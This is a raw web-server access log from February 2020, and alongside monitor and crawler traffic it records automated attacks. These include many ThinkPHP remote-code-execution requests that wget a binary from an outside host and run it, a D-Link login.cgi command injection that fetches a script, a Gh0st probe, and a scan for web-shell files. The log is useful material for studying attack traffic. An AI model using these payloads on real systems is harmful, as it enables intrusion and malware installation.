178.88.83.87 - - [03/Feb/2020:13:35:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.83.139.21 - - [03/Feb/2020:13:38:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.61.16 - - [03/Feb/2020:13:38:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [03/Feb/2020:13:38:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:13:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.35.237.234 - - [03/Feb/2020:13:38:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.39.124.141 - - [03/Feb/2020:13:39:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.194.198.44 - - [03/Feb/2020:13:39:59 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [03/Feb/2020:13:40:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [03/Feb/2020:13:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.197.188 - - [03/Feb/2020:13:40:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:13:43:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:13:43:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:13:43:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:13:43:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:13:44:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [03/Feb/2020:13:44:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [03/Feb/2020:13:44:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:13:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.131.122.29 - - [03/Feb/2020:13:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
117.1.81.20 - - [03/Feb/2020:13:44:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [03/Feb/2020:13:45:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [03/Feb/2020:13:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.73.112.233 - - [03/Feb/2020:13:48:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.72.247.106 - - [03/Feb/2020:13:49:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
138.185.37.4 - - [03/Feb/2020:13:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:13:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.96.138 - - [03/Feb/2020:13:55:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.152.18.13 - - [03/Feb/2020:13:57:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:13:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:13:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.214.53 - - [03/Feb/2020:14:03:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.75.92 - - [03/Feb/2020:14:04:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.255 - - [03/Feb/2020:14:05:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.126 - - [03/Feb/2020:14:05:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.103 - - [03/Feb/2020:14:13:12 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.77 - - [03/Feb/2020:14:13:12 +0100] "GET /seiten/kontroll.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [03/Feb/2020:14:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.228.252.95 - - [03/Feb/2020:14:14:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:16:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:07 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:08 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:32 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [03/Feb/2020:14:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:16:32 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:33 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
40.83.125.200 - - [03/Feb/2020:14:16:33 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
66.240.205.34 - - [03/Feb/2020:14:16:48 +0100] "Gh0st\xad" 501 321 "-" "-"
40.83.125.200 - - [03/Feb/2020:14:16:56 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
42.117.35.11 - - [03/Feb/2020:14:16:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.175.253.10 - - [03/Feb/2020:14:17:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:17:20 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:17:44 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:18:08 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
40.83.125.200 - - [03/Feb/2020:14:18:32 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.217.105.156 - - [03/Feb/2020:14:18:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:18:56 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
63.143.35.226 - - [03/Feb/2020:14:19:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:19:20 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
40.83.125.200 - - [03/Feb/2020:14:19:21 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:21 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:22 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:22 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:23 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:23 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:24 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:24 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:25 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:25 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
94.51.46.119 - - [03/Feb/2020:14:19:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
40.83.125.200 - - [03/Feb/2020:14:19:25 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:26 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:26 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:27 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:27 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:28 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:28 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:29 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:29 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:30 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:30 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:30 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:31 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:31 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:31 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:32 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:32 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [03/Feb/2020:14:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.83.125.200 - - [03/Feb/2020:14:19:32 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
63.143.35.226 - - [03/Feb/2020:14:19:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
40.83.125.200 - - [03/Feb/2020:14:19:33 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:33 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
40.83.125.200 - - [03/Feb/2020:14:19:33 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
